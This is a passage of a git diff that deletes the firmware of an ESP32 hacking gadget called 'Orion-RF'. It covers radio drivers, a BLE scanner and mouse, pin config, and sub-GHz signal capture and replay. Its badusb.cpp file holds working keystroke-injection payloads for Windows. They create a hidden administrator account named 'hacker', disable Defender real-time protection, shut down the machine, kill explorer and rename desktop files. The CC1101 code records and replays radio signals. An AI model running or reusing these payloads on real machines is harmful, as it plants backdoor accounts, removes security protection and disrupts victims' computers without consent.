- void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul);
- void setGDO(byte gdo0, byte gdo2);
- void setGDO0(byte gdo0);
- void addGDO(byte gdo0, byte gdo2, byte modul);
- void addGDO0(byte gdo0, byte modul);
- void setModul(byte modul);
- void setCCMode(bool s);
- void setModulation(byte m);
- void setPA(int p);
- void setMHZ(float mhz);
- void setChannel(byte chnl);
- void setChsp(float f);
- void setRxBW(float f);
- void setDRate(float d);
- void setDeviation(float d);
- void SetTx(void);
- void SetRx(void);
- void SetTx(float mhz);
- void SetRx(float mhz);
- int getRssi(void);
- byte getLqi(void);
- void setSres(void);
- void setSidle(void);
- void goSleep(void);
- void SendData(byte *txBuffer, byte size);
- void SendData(char *txchar);
- void SendData(byte *txBuffer, byte size, int t);
- void SendData(char *txchar, int t);
- byte CheckReceiveFlag(void);
- byte ReceiveData(byte *rxBuffer);
- bool CheckCRC(void);
- void SpiStrobe(byte strobe);
- void SpiWriteReg(byte addr, byte value);
- void SpiWriteBurstReg(byte addr, byte *buffer, byte num);
- byte SpiReadReg(byte addr);
- void SpiReadBurstReg(byte addr, byte *buffer, byte num);
- void setClb(byte b, byte s, byte e);
- bool getCC1101(void);
- byte getMode(void);
- void setSyncWord(byte sh, byte sl);
- void setAddr(byte v);
- void setWhiteData(bool v);
- void setPktFormat(byte v);
- void setCrc(bool v);
- void setLengthConfig(byte v);
- void setPacketLength(byte v);
- void setDcFilterOff(bool v);
- void setManchester(bool v);
- void setSyncMode(byte v);
- void setFEC(bool v);
- void setPRE(byte v);
- void setPQT(byte v);
- void setCRC_AF(bool v);
- void setAppendStatus(bool v);
- void setAdrChk(byte v);
- bool CheckRxFifo(int t);
-};
-
-extern ELECHOUSE_CC1101 ELECHOUSE_cc1101;
-
-#endif \ No newline at end of file
diff --git a/firmware/badusb.cpp b/firmware/badusb.cpp
deleted file mode 100644
index ef9da24..0000000
--- a/firmware/badusb.cpp
+++ /dev/null
@@ -1,398 +0,0 @@
-#include <Arduino.h>
-#include <USBHIDKeyboard.h>
-#include "display.h"
-
-extern USBHIDKeyboard Keyboard;
-
-void runCommand(const char *command) {
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- delay(100);
- Keyboard.releaseAll();
- delay(300);
- Keyboard.print(command);
- Keyboard.write(KEY_RETURN);
-}
-
-void showRunningScreen(String taskName, uint8_t duration = 5) {
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x12_tf);
- u8g2.drawStr(0, 15, "Running:");
- u8g2.drawStr(0, 30, taskName.c_str());
- u8g2.drawFrame(0, 45, 128, 10);
-
- static const unsigned char image_download_bits[] U8X8_PROGMEM = {
- 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
- 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
- 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
- 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
- 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
- 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
- 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
- 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
- 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
- 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
- static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
- 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
- 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
- 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
- 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
- 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
- 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
-
- u8g2.setFontMode(1);
- u8g2.setBitmapMode(1);
- // download
- u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
-
- // EviSmile1
- u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
-
- for (uint8_t i = 0; i <= duration; i++) {
- u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
- u8g2.sendBuffer();
- delay(50);
- }
-}
-
-
-void badUSBMenu(int index) {
- //switch (index)
- // {
- // case 0:
- // runBadUSBDemo();
- // break;
-
- // case 1:
- // Serial.println("Open CMD payload");
- // runBadUSBOpenCMD();
- // break;
-
- // case 2:
- // Serial.println("Rickroll payload");
- // runBadUSBRickroll();
- // break;
- // }
-
-
- switch(index) {
- case 0: // demo
-
- showRunningScreen("DEMO");
-
- // Run dialog (Win + R)
- Keyboard.press(KEY_LEFT_GUI);
- Keyboard.press('r');
- Keyboard.releaseAll();
- delay(1000);
-
- Keyboard.println("notepad");
- delay(1500);
-
- delay(2000);
-
- Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
- Keyboard.println("#-FEATURES:");
- Keyboard.println("1- WIFI ATTACKS");
- Keyboard.println("2- BLE ATTACKS");
- Keyboard.println("3- BAD USB");
- Keyboard.println("4- NFC");
- Keyboard.println("5- INFRARED");
- Keyboard.println("6- SUB-GHZ");
- Keyboard.println("7- GPIO");
- Keyboard.println("8- APPS");
- Keyboard.println("9- SETTINGS");
- Keyboard.println("10- FILES");
-
- break;
- case 1: // keyboard
- //runLoop(hidkeyboard);
- break;
- case 2: // saved scripts
- //hidInit();
- //runLoop(hidscriptmenu);
-
- break;
-
- case 3: // Open Notepad
-
- showRunningScreen("notepad");
- runCommand("notepad");
- break;
- case 4: // Open CMD
- showRunningScreen("opening cmd");
- runCommand("cmd");
- break;
- case 5: // Show IP
- showRunningScreen("Getting IP");
- runCommand("cmd");
- delay(500);
- Keyboard.print("ipconfig");
- Keyboard.write(KEY_RETURN);
- break;
- case 6: // Shutdown
- showRunningScreen("shutdown");
- runCommand("shutdown /s /t 0");
- break;
- case 7: // RickRoll
- showRunningScreen("rickroll");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
- Keyboard.write(KEY_RETURN);
- break;
- case 8: // Create Admin User
- showRunningScreen("create admin user");
- runCommand("cmd");
- delay(500);
- Keyboard.print("net user hacker 1234 /add");
- Keyboard.write(KEY_RETURN);
- delay(300);
- Keyboard.print("net localgroup administrators hacker /add");
- Keyboard.write(KEY_RETURN);
- break;
- case 9: // Disable Windows Defender
- showRunningScreen("disable windoes defender");
- runCommand("powershell");
- delay(500);
- Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
- Keyboard.write(KEY_RETURN);
- break;
- case 10: // Open YouTube
- showRunningScreen("youtube");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://www.youtube.com");
- Keyboard.write(KEY_RETURN);
- break;
- case 11: // Lock PC
- showRunningScreen("lock pc");
- runCommand("rundll32.exe user32.dll,LockWorkStation");
- break;
- case 12: // Fake Update
- showRunningScreen("fake update");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://fakeupdate.net/win10u/");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 13: // Endless Notepad
- showRunningScreen("endless notepad");
- for (int i = 0; i < 10; i++) {
- runCommand("notepad");
- delay(500);
- }
- break;
-
- case 14: // Fake BSOD (opens fullscreen image)
- showRunningScreen(" fake bsod");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://fakeupdate.net/bsod/");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 15: // Flip screen
- showRunningScreen("Flip screen");
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press(KEY_LEFT_ALT);
- Keyboard.press(KEY_DOWN_ARROW);
- delay(100);
- Keyboard.releaseAll();
- break;
-
- case 16: // Matrix effect
- showRunningScreen("Matrix effect");
- runCommand("cmd");
- delay(500);
- Keyboard.print("color 0A");
- Keyboard.write(KEY_RETURN);
- Keyboard.print(":a");
- Keyboard.write(KEY_RETURN);
- Keyboard.print("echo %random%%random%%random%%random%");
- Keyboard.write(KEY_RETURN);
- Keyboard.print("goto a");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 17: // I'm watching you prank
- showRunningScreen(" iam watching you");
- for (int i = 0; i < 5; i++) {
- runCommand("notepad");
- delay(1000);
- Keyboard.print("I'm watching you...");
- delay(5000);
- }
- break;
-
- case 18: // Open Google
- showRunningScreen("open google");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://www.google.com");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 19: // Open telegram
- showRunningScreen("open telegram");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://web.telegram.org/");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 20: // Alarm Sound
- showRunningScreen("alarm sound");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 21: // Endless CMD
- showRunningScreen("endless smd");
- for (int i = 0; i < 20; i++) {
- runCommand("cmd");
- delay(300);
- }
- break;
-
- case 22: // Gibberish
- showRunningScreen("gibberish");
- for (int i = 0; i < 100; i++) {
- char c = random(33, 127);
- Keyboard.write(c);
- delay(50);
- }
- break;
-
- case 23: // CAPSLOCK Spam
- showRunningScreen("caps lock spam");
- for (int i = 0; i < 10; i++) {
- Keyboard.press(KEY_CAPS_LOCK);
- delay(200);
- Keyboard.release(KEY_CAPS_LOCK);
- delay(200);
- }
- break;
-
- case 24: // Calculator
- showRunningScreen("claculator");
- runCommand("calc");
- break;
-
- case 25: // Auto Type "Hacked!"
- showRunningScreen("hacked");
- for (int i = 0; i < 5; i++) {
- Keyboard.print("Hacked!");
- Keyboard.write(KEY_RETURN);
- delay(1000);
- }
- break;
-
- case 26: // Turn off monitor (Windows only)
- showRunningScreen("turn off monitor");
- runCommand("powershell");
- delay(500);
- Keyboard.print(
- "(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
- "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
- "-Pas)::SendMessage(-1,0x0112,0xF170,2)");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 27: // RegEdit
- showRunningScreen("regedit");
- runCommand("regedit");
- break;
-
- case 28: // Kill Explorer
- showRunningScreen(" kill explorer");
- runCommand("taskkill /f /im explorer.exe");
- break;
-
- case 29: // Flash screen (by changing background rapidly)
- showRunningScreen(" flash screen");
- for (int i = 0; i < 10; i++) {
- runCommand("color 4F");
- delay(200);
- runCommand("color 1F");
- delay(200);
- }
- break;
-
- case 30: // Rename Desktop Files (basic prank)
-
- showRunningScreen("rename desktop files");
- runCommand("powershell");
- delay(500);
- Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
- "Rename-Item -NewName {'hacked'+$_.Name}");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 31: // Toggle WiFi (requires admin)
- showRunningScreen("toggle wifi");
- runCommand("cmd");
- delay(500);
- Keyboard.print("netsh interface set interface Wi-Fi disabled");
- Keyboard.write(KEY_RETURN);
- delay(1000);
- Keyboard.print("netsh interface set interface Wi-Fi enabled");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 32: // Screenshot
- showRunningScreen("screenshot");
- runCommand("powershell");
- delay(500);
- Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
- Keyboard.write(KEY_RETURN);
- delay(300);
- Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 33: // Emoji spam
- showRunningScreen("emoji spam");
- for (int i = 0; i < 10; i++) {
- Keyboard.print("💀");
- Keyboard.write(KEY_RETURN);
- delay(500);
- }
- break;
-
- case 34: // Control Panel
- showRunningScreen("control panel");
- runCommand("control");
- break;
-
- case 35: // Troll wallpaper
- showRunningScreen("troll wallpaper");
- runCommand("cmd");
- delay(500);
- Keyboard.print("start https://i.imgur.com/trollface.png");
- Keyboard.write(KEY_RETURN);
- break;
-
- case 36: // MS Paint
- showRunningScreen("ms paint");
- runCommand("mspaint");
- break;
-
- case 37: // Auto Tab Switcher
- showRunningScreen(" auto tab switcher");
- for (int i = 0; i < 10; i++) {
- Keyboard.press(KEY_LEFT_CTRL);
- Keyboard.press(KEY_TAB);
- delay(100);
- Keyboard.releaseAll();
- delay(300);
- }
- break;
-}
-}
-
-
diff --git a/firmware/badusb.h b/firmware/badusb.h
deleted file mode 100644
index a3390ec..0000000
--- a/firmware/badusb.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void badUSBMenu(int index);
-void showRunningScreen(String taskName, uint8_t duration);
-void runCommand(const char *command);
diff --git a/firmware/ble_mouse.cpp b/firmware/ble_mouse.cpp
deleted file mode 100644
index 8e666ec..0000000
--- a/firmware/ble_mouse.cpp
+++ /dev/null
@@ -1,74 +0,0 @@
-#include <Arduino.h>
-#include <BleMouse.h>
-#include "badusb.h"
-#include "config.h"
-
-#include "buttons.h"
-#include "display.h"
-
-// ===== BLE MOUSE =====
-// BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
-extern BleMouse bleMouse;
-
-// ===== MAIN =====
-void ble_mouse_run()
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(10, 25, "BLE Mouse");
- u8g2.drawStr(10, 45, "Connecting...");
- u8g2.sendBuffer();
-
- delay(800);
-
- while (1)
- {
- // 🔥 EXIT FIRST (clean)
- if (btnBack()) break;
-
- bool connected = bleMouse.isConnected();
-
- int dx = 0;
- int dy = 0;
-
- if (connected)
- {
- if (!digitalRead(BTN_UP)) dy = -6;
- if (!digitalRead(BTN_DOWN)) dy = 6;
- if (!digitalRead(BTN_LEFT)) dx = -6;
- if (!digitalRead(BTN_RIGHT)) dx = 6;
-
- if (dx || dy)
- bleMouse.move(dx, dy);
-
- // ✅ single click (not spam)
- static bool lastSelect = false;
- bool currentSelect = !digitalRead(BTN_SELECT);
-
- if (currentSelect && !lastSelect)
- bleMouse.click(MOUSE_LEFT);
-
- lastSelect = currentSelect;
- }
-
- // ===== UI =====
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
-
- u8g2.drawStr(10, 20, "BLE Mouse");
-
- if (connected)
- u8g2.drawStr(10, 35, "Connected");
- else
- u8g2.drawStr(10, 35, "Waiting");
-
- u8g2.drawStr(10, 55, "BACK = Exit");
-
- u8g2.sendBuffer();
-
- delay(10); // important for BLE stability
- }
-}
-
-
-
diff --git a/firmware/ble_mouse.h b/firmware/ble_mouse.h
deleted file mode 100644
index fc6a4cc..0000000
--- a/firmware/ble_mouse.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma once
-
-void ble_mouse_run();
diff --git a/firmware/blescanner.cpp b/firmware/blescanner.cpp
deleted file mode 100644
index cc86dd2..0000000
--- a/firmware/blescanner.cpp
+++ /dev/null
@@ -1,209 +0,0 @@
-#include <Arduino.h>
-#include <BLEDevice.h>
-#include <BLEScan.h>
-#include <BLEAdvertisedDevice.h>
-#include <vector>
-
-#include "display.h"
-#include "buttons.h"
-#include "config.h"
-
-// ===== DEVICE STRUCT =====
-struct BLEDeviceInfo {
- String name;
- String address;
- int rssi;
- String manufacturer;
- String deviceType;
-};
-
-static std::vector<BLEDeviceInfo> devices;
-static BLEScan *pBLEScan;
-static int selectedIndex = 0;
-
-// ===== CALLBACK =====
-class MyAdvertisedDeviceCallbacks : public BLEAdvertisedDeviceCallbacks {
- void onResult(BLEAdvertisedDevice advertisedDevice) override {
- BLEDeviceInfo dev;
-
- String tempName = advertisedDevice.getName();
-
- if (tempName.length() == 0 && advertisedDevice.haveServiceData()) {
- tempName = advertisedDevice.getServiceData().c_str();
- }
-
- if (tempName.length() == 0) {
- String addr = advertisedDevice.getAddress().toString().c_str();
- tempName = "BLE_" + addr.substring(addr.length() - 5);
- }
-
- dev.name = tempName;
- dev.address = advertisedDevice.getAddress().toString().c_str();
- dev.rssi = advertisedDevice.getRSSI();
-
- if (advertisedDevice.haveManufacturerData()) {
- String mData = advertisedDevice.getManufacturerData().c_str();
-
- if (mData.length() >= 2) {
- char buffer[10];
- sprintf(buffer, "0x%02X%02X",
- (uint8_t)mData[1],
- (uint8_t)mData[0]);
- dev.manufacturer = String(buffer);
- } else {
- dev.manufacturer = "unknown";
- }
- } else {
- dev.manufacturer = "unknown";
- }
-
- if (advertisedDevice.haveServiceUUID()) {
- dev.deviceType =
- advertisedDevice.getServiceUUID().toString().c_str();
- } else {
- dev.deviceType = "unknown";
- }
-
- devices.push_back(dev);
- }
-};
-
-// ===== DRAW MENU =====
-void ble_drawMenu()
-{
- u8g2.clearBuffer();
-
- if (devices.empty())
- {
- u8g2.setFont(u8g2_font_6x12_tr);
- u8g2.drawStr(0, 30, "No devices");
- u8g2.drawStr(0, 45, "Press BACK");
- }
- else
- {
- u8g2.setFont(u8g2_font_5x8_tr);
-
- char counter[20];
- sprintf(counter, "%d/%d", selectedIndex + 1, (int)devices.size());
- u8g2.drawStr(0, 8, counter);
-
- u8g2.setFont(u8g2_font_6x10_tr);
-
- for (int i = 0; i < 3; i++)
- {
- int idx = selectedIndex + i;
- if (idx >= devices.size()) break;
-
- int y = 22 + i * 14;
-
- if (i == 0)
- {
- u8g2.drawBox(0, y - 10, 128, 12);
- u8g2.setDrawColor(0);
- }
-
- String text = devices[idx].name;
- if (text.length() > 12)
- text = text.substring(0, 12) + "..";
-
- text += " (" + String(devices[idx].rssi) + ")";
-
- u8g2.drawStr(2, y, text.c_str());
-
- if (i == 0)
- u8g2.setDrawColor(1);
- }
- }
-
- u8g2.sendBuffer();
-}
-
-// ===== DEVICE DETAILS =====
-void ble_drawDetails(const BLEDeviceInfo &dev)
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_5x8_tr);
-
- u8g2.drawStr(0, 10, dev.name.c_str());
- u8g2.drawStr(0, 20, dev.address.c_str());
-
- char rssiStr[20];
- sprintf(rssiStr, "RSSI: %d", dev.rssi);
- u8g2.drawStr(0, 30, rssiStr);
-
- u8g2.drawStr(0, 40, dev.manufacturer.c_str());
-
- u8g2.sendBuffer();
-}
-
-// ===== SCAN =====
-void ble_scan()
-{
- devices.clear();
-
- u8g2.clearBuffer();
- u8g2.drawStr(10, 30, "Scanning...");
- u8g2.sendBuffer();
-
- BLEDevice::init("");
-
- pBLEScan = BLEDevice::getScan();
- pBLEScan->setAdvertisedDeviceCallbacks(new MyAdvertisedDeviceCallbacks(), false);
- pBLEScan->setActiveScan(true);
- pBLEScan->setInterval(100);
- pBLEScan->setWindow(99);
-
- pBLEScan->start(5, false);
-
- // remove duplicates
- std::vector<BLEDeviceInfo> unique;
- for (auto &d : devices)
- {
- bool exists = false;
- for (auto &u : unique)
- {
- if (u.address == d.address)
- {
- exists = true;
- break;
- }
- }
- if (!exists) unique.push_back(d);
- }
-
- devices = unique;
-}
-
-// ===== MAIN LOOP =====
-void ble_loop()
-{
- static uint32_t lastPress = 0;
-
- if (millis() - lastPress < 200)
- return;
-
- if (btnDown() && selectedIndex < (int)devices.size() - 1)
- {
- selectedIndex++;
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnUp() && selectedIndex > 0)
- {
- selectedIndex--;
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnSelect() && !devices.empty())
- {
- ble_drawDetails(devices[selectedIndex]);
- delay(3000);
- ble_drawMenu();
- lastPress = millis();
- }
- else if (btnBack())
- {
- lastPress = millis();
- return;
- }
-}
diff --git a/firmware/blescanner.h b/firmware/blescanner.h
deleted file mode 100644
index a642de2..0000000
--- a/firmware/blescanner.h
+++ /dev/null
@@ -1,5 +0,0 @@
-#pragma once
-
-void ble_scan();
-void ble_loop();
-void ble_drawMenu();
diff --git a/firmware/buttons.cpp b/firmware/buttons.cpp
deleted file mode 100644
index 27ce40b..0000000
--- a/firmware/buttons.cpp
+++ /dev/null
@@ -1,20 +0,0 @@
-#include "buttons.h"
-#include <Arduino.h>
-#include "config.h"
-
-void buttonsInit()
-{
- pinMode(BTN_UP, INPUT_PULLUP);
- pinMode(BTN_DOWN, INPUT_PULLUP);
- pinMode(BTN_SELECT, INPUT_PULLUP);
- pinMode(BTN_BACK, INPUT_PULLUP);
- pinMode(BTN_RIGHT, INPUT_PULLUP);
- pinMode(BTN_LEFT, INPUT_PULLUP);
-}
-
-bool btnUp() { return !digitalRead(BTN_UP); }
-bool btnDown() { return !digitalRead(BTN_DOWN); }
-bool btnSelect() { return !digitalRead(BTN_SELECT); }
-bool btnBack() { return !digitalRead(BTN_BACK); }
-bool btnRight() { return !digitalRead(BTN_RIGHT); }
-bool btnLeft() { return !digitalRead(BTN_LEFT); }
diff --git a/firmware/buttons.h b/firmware/buttons.h
deleted file mode 100644
index cfa9fa3..0000000
--- a/firmware/buttons.h
+++ /dev/null
@@ -1,10 +0,0 @@
-#pragma once
-
-void buttonsInit();
-
-bool btnUp();
-bool btnDown();
-bool btnSelect();
-bool btnBack();
-bool btnRight();
-bool btnLeft();
diff --git a/firmware/cc1101.cpp b/firmware/cc1101.cpp
deleted file mode 100644
index dcbbbee..0000000
--- a/firmware/cc1101.cpp
+++ /dev/null
@@ -1,150 +0,0 @@
-#include <Arduino.h>
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-#include "cc1101.h"
-#include "config.h"
-
-// ===== CONFIG =====
-#define RAW_BUF_MAX 512
-
-// ===== STATE =====
-static bool cc1101Inited = false;
-
-// ===== CAPTURE STATE =====
-volatile unsigned long captureBuffer[RAW_BUF_MAX];
-volatile int pulseIndex = 0;
-volatile unsigned long lastEdgeTime = 0;
-volatile bool capturing = false;
-
-// ===== RF SETTINGS =====
-float currentFreq = 433.92;
-float dataRate = 3.79372;
-float deviation = 0.0;
-float rxBW = 325.0;
-int powerLevel = 10;
-
-// ===== ISR =====
-void IRAM_ATTR pulseISR()
-{
- unsigned long now = micros();
-
- if (!capturing) return;
- if (pulseIndex >= RAW_BUF_MAX) return;
-
- unsigned long duration = now - lastEdgeTime;
-
- if (duration < 50) return;
-
- captureBuffer[pulseIndex++] = duration;
- lastEdgeTime = now;
-}
-
-// ===== OOK SETUP =====
-void setupOOKMode()
-{
- ELECHOUSE_cc1101.SetRx();
- ELECHOUSE_cc1101.setMHZ(currentFreq);
-
- ELECHOUSE_cc1101.setModulation(0); // ASK/OOK
- ELECHOUSE_cc1101.setDRate(dataRate);
- ELECHOUSE_cc1101.setDeviation(0);
- ELECHOUSE_cc1101.setRxBW(rxBW);
- ELECHOUSE_cc1101.setSyncMode(0);
- ELECHOUSE_cc1101.setPA(powerLevel);
-}
-
-// ===== INIT (LAZY, SAFE) =====
-bool initCC1101()
-{
- if (cc1101Inited)
- return true;
-
- Serial.println("Initializing CC1101...");
-
- // IMPORTANT: no detachInterrupt here (causes crash if not installed)
-
- ELECHOUSE_cc1101.setSpiPin(
- cc1101_SCK,
- cc1101_MISO,
- cc1101_MOSI,
- CC1101_CS
- );
-
- ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2);
-
- if (!ELECHOUSE_cc1101.getCC1101())
- {
- Serial.println("❌ CC1101 NOT FOUND");
- return false;
- }
-
- delay(10); // let SPI settle
-
- ELECHOUSE_cc1101.Init(); // THIS WAS YOUR FREEZE POINT
- setupOOKMode();
-
- pinMode(CC1101_GDO0, INPUT);
-
- Serial.println("✅ CC1101 READY");
-
- cc1101Inited = true;
- return true;
-}
-
-// ===== CAPTURE CONTROL =====
-void startCapture()
-{
- pulseIndex = 0;
- capturing = true;
- lastEdgeTime = micros();
-
- attachInterrupt(
- digitalPinToInterrupt(CC1101_GDO0),
- pulseISR,
- CHANGE
- );
-
- Serial.println("Capture started");
-}
-
-bool isCC1101Ready() {
- return cc1101Inited;
-}
-
-void stopCapture()
-{
- capturing = false;
-
- detachInterrupt(digitalPinToInterrupt(CC1101_GDO0));
-
- Serial.println("Capture stopped");
-}
-
-// ===== DEBUG PRINT =====
-void printCapture()
-{
- Serial.println("Captured pulses:");
-
- for (int i = 0; i < pulseIndex; i++)
- {
- Serial.println(captureBuffer[i]);
- }
-}
-
-
-// ===== REPLAY =====
-void replaySignal()
-{
- Serial.println("Replaying...");
-
- ELECHOUSE_cc1101.SetTx();
- pinMode(CC1101_GDO0, OUTPUT);
-
- for (int i = 0; i < pulseIndex; i++)
- {
- digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW);
- delayMicroseconds(captureBuffer[i]);
- }
-
- digitalWrite(CC1101_GDO0, LOW);
- ELECHOUSE_cc1101.SetRx();
-}
diff --git a/firmware/cc1101.h b/firmware/cc1101.h
deleted file mode 100644
index a403edb..0000000
--- a/firmware/cc1101.h
+++ /dev/null
@@ -1,9 +0,0 @@
-#pragma once
-
-bool initCC1101();
-bool isCC1101Ready();
-
-void startCapture();
-void stopCapture();
-void printCapture();
-void replaySignal();
diff --git a/firmware/config.h b/firmware/config.h
deleted file mode 100644
index ce40ebc..0000000
--- a/firmware/config.h
+++ /dev/null
@@ -1,48 +0,0 @@
-#pragma once
-
-// ================= NRF24 =================
-#define CE1_PIN 10
-#define CSN1_PIN 11
-
-#define CE2_PIN 12
-#define CSN2_PIN 13
-
-#define NRF_SCK 18
-#define NRF_MISO 16
-#define NRF_MOSI 17
-
-// ================== OLED ===================
-#define OLED_SDA_PIN 8
-#define OLED_SCL_PIN 9
-
-/////////////////cc1101 vars//////////////
-// CC1101 via FSPI
-#define cc1101_SCK 15
-#define cc1101_MISO 3
-#define cc1101_MOSI 46
-
-//////////////cc1101(1)//////////
-#define CC1101_CS 45
-#define CC1101_GDO0 21
-#define CC1101_GDO2 47
-
-/////////////cc1101(2)//////////
-#define CC1101_2_CS 40
-#define CC1101_2_GDO0 41
-#define CC1101_2_GDO2 42
-
-// SD Card via HSPI
-#define SD_SCK 14
-#define SD_MISO 39
-#define SD_MOSI 38
-#define SD_CS 37
-
-
-// =================== Buttons ====================
-#define BTN_UP 4
-#define BTN_DOWN 5
-#define BTN_SELECT 6
-#define BTN_BACK 7
-#define BTN_LEFT 1
-#define BTN_RIGHT 2
-
diff --git a/firmware/device_check.cpp b/firmware/device_check.cpp
deleted file mode 100644
index c569d23..0000000
--- a/firmware/device_check.cpp
+++ /dev/null
@@ -1,193 +0,0 @@
-#include <Arduino.h>
-#include <SPI.h>
-#include <Wire.h>
-#include <RF24.h>
-#include "ELECHOUSE_CC1101_SRC_DRV.h"
-
-#include "display.h"
-#include "buttons.h"
-#include "config.h"
-
-// ===== EXTERNALS =====
-extern RF24 radio1;
-extern RF24 radio2;
-extern SPIClass *RADIO_SPI;
-extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2;
-
-// ===== RESULTS =====
-struct DeviceStatus {
- bool nrf1 = false;
- bool nrf2 = false;
- bool cc1101_1 = false;
- bool cc1101_2 = false;
- bool oled = true;
- bool buttons = false;
-};
-
-// ===== NRF CHECK =====
-bool checkNRF(RF24 &radio)
-{
- // safer: only init if needed
- if (!radio.isChipConnected()) {
- if (!radio.begin(RADIO_SPI))
- return false;
- }
-
- return radio.isChipConnected();
-}
-
-// ===== CC1101 CHECK =====
-bool checkCC1101(uint8_t csPin)
-{
- ELECHOUSE_cc1101.setSpiPin(
- cc1101_SCK,
- cc1101_MISO,
- cc1101_MOSI,
- csPin
- );
-
- delay(5);
-
- return ELECHOUSE_cc1101.getCC1101();
-}
-
-// ===== BUTTON CHECK =====
-bool checkButtons()
-{
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
- u8g2.drawStr(0, 20, "Press any button...");
- u8g2.sendBuffer();
-
- unsigned long start = millis();
-
- while (millis() - start < 2000)
- {
- if (!digitalRead(BTN_UP) ||
- !digitalRead(BTN_DOWN) ||
- !digitalRead(BTN_SELECT) ||
- !digitalRead(BTN_BACK) ||
- !digitalRead(BTN_RIGHT) ||
- !digitalRead(BTN_LEFT))
- {
- return true;
- }
- }
-
- return false;
-}
-
-// ===== DRAW =====
-#define MAX_ITEMS 6
-#define VISIBLE_ROWS 5
-
-const char* labels[MAX_ITEMS] = {
- "NRF1",
- "NRF2",
- "CC1101-1",
- "CC1101-2",
- "BUTTONS",
- "OLED"
-};
-
-bool values[MAX_ITEMS];
-
-int selectedIndex = 0;
-int offset = 0;
-
-void drawStatus(DeviceStatus &s)
-{
- values[0] = s.nrf1;
- values[1] = s.nrf2;
- values[2] = s.cc1101_1;
- values[3] = s.cc1101_2;
- values[4] = s.buttons;
- values[5] = s.oled;
-
-
- u8g2.clearBuffer();
- u8g2.setFont(u8g2_font_6x10_tr);
-
- // scrolling logic
- if (selectedIndex < offset)
- offset = selectedIndex;
-
- if (selectedIndex >= offset + VISIBLE_ROWS)
- offset = selectedIndex - VISIBLE_ROWS + 1;
-
